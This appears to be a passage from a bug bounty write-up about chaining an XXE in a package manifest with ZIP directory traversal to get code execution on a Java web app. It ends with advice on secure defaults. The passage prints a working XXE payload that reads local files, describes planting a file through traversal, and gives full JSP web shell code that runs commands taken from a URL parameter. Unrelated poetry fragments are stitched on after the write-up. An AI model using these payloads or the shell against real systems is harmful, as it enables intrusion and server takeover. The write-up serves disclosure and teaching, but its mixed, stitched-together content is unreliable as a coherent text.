<!DOCTYPE title [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<packageinfo>
    <title>My Awesome Package&xxe;</title>
    <author>John Doe</author>
    <documentation>https://google.com</documentation>
    <rating>4.2</rating>
</packageinfo>

That's when I struck gold. The contents of /etc/hosts appeared in the confirmation page.

Package Info 2

Pivoting to RCE

Typically in a white hat hacking scenario, you stick to a non-destructive proof-of-concept and stop there. With the XXE, I could expose local database files and several interesting web logs that included admin credentials. This was sufficient to write up a report.

However, there was another vulnerability I wanted to test: the ZIP parser. Remember that the app unzipped the package, read the manifest.xml file, and returned a confirmation page. I found an XXE in the second step, suggesting that there might be additional vulnerabilities in the rest of the flow.

To test for ZIP directory traversal, I used evilarc, a simple Python 2 script to generate ZIP files with directory traversal payloads. I needed to figure out where I wanted to place my traversal payload in the local file system. Here, the XXE helped. Local external entities support not just files but also directories, so if I used an external entity like file:///nameofdirectory, instead of the contents of a file, it would list the contents of the directory.

With a little digging through the directories, I eventually came across a file located at /home/web/resources/templates/sitemap.jsp. Its contents matched a page in the application – https://vulnapp.com/sitemap. I zipped the contents of the sitemap page along with a web shell as ../../../../../../home/web/resources/templates/sitemap.jsp in my package. I kept the web shell hidden via a secret URL parameter to prevent casual users from accidentally coming across it:

<%@ page import="java.util.*,java.io.*"%>
<%
    if (request.getParameter("spaceraccoon") != null) {
        out.println("Command: " + request.getParameter("spaceraccoon") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("spaceraccoon"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr); 
            disr = dis.readLine(); 
        }
        out.println("<BR>");
    }
%>
<ORIGINAL HTML CONTENTS OF SITEMAP>

I uploaded my package, browsed to https://vulnapp.com/sitemap?spaceraccooon=ls and... nothing. The page looked exactly the same.

A common saying goes:

The definition of insanity is doing the same thing over and over again and expecting a different result.

This does not apply to black box testing. Latency, caching, and other quirks of the web can return different outputs for the same input. In this case, the server had cached the original version of https://vulnapp.com/sitemap, which is why it initially returned the page without my web shell. After several refreshes, my web shell kicked in, and the page returned the contents of the web root directory along with the rest of the sitemap page contents. I was in.

Convention over Configuration

Configuration Meme

From the writeup, you might have noticed that I was dealing with a Java application. This brings us back to OWASP and Snyk's warnings that Java is uniquely prone to mishandling XML and ZIP files. Due to a combination of unsafe defaults and a lack of default parsers, developers are forced to rely on random Stack Overflow snippets or third-party libraries.

However, Java is not the only culprit. Mishandling XML and ZIP files occurs across all programming languages and frameworks. Developers are expected to go out of their way to configure third-party libraries and APIs safely, which makes it easy to introduce vulnerabilities into an application. A developer only needs to make one mistake to introduce a vulnerability in their application. The probability of this increases with every additional “black box” library.

One approach to reduce vulnerabilities in development is Spotify's “Golden Path“:

At Spotify, one of our engineering strategies is the creation and promotion of the use of “Golden Paths.” Golden Paths are a blessed way to build products at Spotify. They consist of a set of APIs, application frameworks, best practices, and runtime environments that allow Spotify engineers to develop and deploy code safely, securely, and at scale. We complement these with opt-in programs that help increase quality. From our bug bounty program reports, we’ve found that the more that development adheres to a Golden Path, the less likely there is to be a vulnerability reported to us.

This boils down to a simple Ruby on Rails maxim: “Convention over configuration.”

Rather than relying on thousands of engineers to individually remember all the quirks of web application security, it is a lot more efficient to focus on a battle-tested set of frameworks and APIs and reduce the need to constantly tweak these settings.

Fortunately, organizations can solve this in a systemic manner by adhering to convention over configuration.

Major thanks to the security team behind the bug bounty program, who fixed the vulnerability in less than 12 hours and gave the go-ahead to publish this writeup.

 
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from inquiry

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from A Body of Water

12-13

In the middle of winter my world became very small didn’t seem to go much beyond the farm buildings doors everything in tones of brown-white, dark green no scent in the air but woodsmoke. Somehow the days passed, I wrote things down or I cooked food In the beginning I had fewer thoughts, but knew later they went deeper, moved along without producing words. ~~ Down on the best grey stone beach, we lolled in cold gravel as the wind turned waves came in. Looking and feeling how smooth everything was, and only from water flowing up against the land. A loon laughed at us for being so lazy while she dove deep to catch fish. I sang a tiny song to myself, the sound of my own breath below the waves or wind my right hand digging into the smooth gravel until it was wet.

And there was as always is my breathing to listen deeply to. And there was as always is a rainbow halo around the sun.

 
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